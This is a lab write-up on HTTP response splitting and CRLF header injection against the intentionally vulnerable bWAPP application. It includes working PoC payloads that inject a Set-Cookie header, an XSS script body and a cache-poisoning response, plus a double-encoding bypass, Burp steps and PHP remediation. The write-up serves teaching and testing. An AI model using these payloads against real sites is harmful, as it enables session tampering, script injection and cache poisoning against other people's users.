🧪 13 — HTTP Response Splitting & Header Injection

HTTP Response Splitting & Header Injection

OWASP: A03 - Injection | **CWE**: CWE-113 | **Severity**: 🟡 Medium

---

📖 Description

HTTP Response Splitting occurs when attacker-controlled data is inserted into HTTP response headers, with CR+LF characters (`\r\n`). This allows attackers to inject arbitrary HTTP headers or split a single response into two, enabling XSS, cache poisoning, or open redirects.

🔍 Affected Endpoint

```
http://localhost/bWAPP/http_splitting_1.php
```

⚠️ Security Level: LOW

PoC — Header Injection via CRLF

```
# Normal request:
http://localhost/bWAPP/http_splitting_1.php?lang=en

# Inject CRLF (%0d%0a = \r\n) to add arbitrary header:
http://localhost/bWAPP/http_splitting_1.php?lang=en%0d%0aSet-Cookie:+malicious=true

# Result - two headers appear:
```

```
Content-Language: en
Set-Cookie: malicious=true
```

PoC — Response Splitting to Inject XSS

```
http://localhost/bWAPP/http_splitting_1.php?lang=en%0d%0a%0
d%0a<html><script>alert('Response+Splitting+XSS')</script>
</html>

# %0d%0a%0d%0a = double CRLF = end of headers / start of bo
dy
# Attacker controls the HTTP body
```

PoC — Cache Poisoning

```
# Inject a fake 200 response body to poison proxy caches
GET /page?param=x%0d%0aContent-Length:+35%0d%0a%0d%0a<html>
poisoned+cache+content</html>
```

PoC via Burp Suite

```
1. Intercept request to /http_splitting_1.php
2. Modify lang parameter:
   lang=en%0D%0AX-Injected-Header: evil_value
3. Forward
4. View response headers in Burp Repeater
5. Confirm injected header appears
```

⚠️ Security Level: MEDIUM

Defense Applied

URL decoding checked, but double encoding may bypass.

Bypass

```
# Double-encoded CRLF
%250d%250a  <- %25 decodes to %, giving %0d%0a on second de
code
```

⚠️ Security Level: HIGH

Defense Applied

`header()` function in modern PHP automatically strips CR and LF characters.

✅ Remediation

1. **Strip CR/LF** from any data placed in HTTP headers
2. **Use framework routing** instead of manual header construction
3. **Whitelist valid values** for header parameters

```
// Strip CRLF before using in header
$lang = str_replace(["\r", "\n"], '', $_GET['lang']);
header('Content-Language: ' . $lang);
```

📚 References

- CWE-113: https://cwe.mitre.org/data/definitions/113.html
- OWASP HTTP Response Splitting: https://owasp.org/www-community/attacks/HTTP_Response_Splitting